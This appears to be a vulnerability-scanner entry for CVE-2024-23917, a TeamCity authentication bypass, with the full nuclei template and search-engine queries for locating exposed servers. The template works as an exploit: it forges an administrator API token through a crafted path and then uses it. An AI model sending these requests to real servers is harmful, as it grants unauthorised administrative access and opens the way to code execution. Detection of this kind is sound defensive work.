JetBrains TeamCity > 2023.11.3 - Authentication Bypass

criticalseverity

9.8CVSS score

54%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

In JetBrains TeamCity before 2023.11.3 authentication bypass leading to RCE was possible

Impact

Unauthenticated attackers can bypass authentication to gain administrative access and potentially execute code on the TeamCity server.

Fix

Update JetBrains TeamCity to version 2023.11.3 or later.

How to confirm it

Send: POST {{BaseURL}}/app/rest/users/id:1/tokens/{{randstr}};.jsp?jsp_precompile=true
Positive when: status_code==200 and contains(content_type,'application/xml') and contains(body,"<token name=\"{{randstr}}\"")
Send: GET {{BaseURL}}/app/rest/server
Positive when: status_code==200 and contains(content_type,'application/xml') and contains(body,'<projects href=')

Run it with nuclei: nuclei -id CVE-2024-23917 -u <target>

The full check

id: CVE-2024-23917

info:
  name: JetBrains TeamCity > 2023.11.3 - Authentication Bypass
  author: iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: |
    In JetBrains TeamCity before 2023.11.3 authentication bypass leading to RCE was possible
  impact: |
    Unauthenticated attackers can bypass authentication to gain administrative access and potentially execute code on the TeamCity server.
  remediation: |
    Update JetBrains TeamCity to version 2023.11.3 or later.
  reference:
    - https://github.com/fkie-cad/nvd-json-data-feeds
    - https://www.rapid7.com/db/vulnerabilities/jetbrains-teamcity-cve-2024-23917/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-23917
    cwe-id: CWE-306,CWE-288
    epss-score: 0.54009
    epss-percentile: 0.99013
    cpe: cpe:2.3:a:jetbrains:teamcity:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: jetbrains
    product: teamcity
    shodan-query:
      - "http.title:teamcity"
      - http.component:"teamcity"
    fofa-query: "title=teamcity"
    google-query: "intitle:teamcity"
  tags: cve,cve2024,auth-bypass,teamcity,jetbrains,vkev,vuln
flow: http(1) && http(2)

http:
  - method: POST
    path:
      - "{{BaseURL}}/app/rest/users/id:1/tokens/{{randstr}};.jsp?jsp_precompile=true"
    headers:
      Content-Type: "application/x-www-form-urlencoded"

    matchers:
      - type: dsl
        dsl:
          - status_code==200
          - "contains(content_type,'application/xml')"
          - 'contains(body,"<token name=\"{{randstr}}\"")'
        condition: and
        internal: true

    extractors:
      - type: regex
        part: body
        name: authtoken
        internal: true
        group: 1
        regex:
          - 'value="(.+)"'

  - method: GET
    path:
      - "{{BaseURL}}/app/rest/server"
    headers:
      Authorization: "Bearer {{authtoken}}"

    extractors:
      - type: dsl
        dsl:
          - '"Token:" + authtoken'

    matchers:
      - type: dsl
        dsl:
          - "status_code==200"
          - "contains(content_type,'application/xml')"
          - "contains(body,'<projects href=')"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from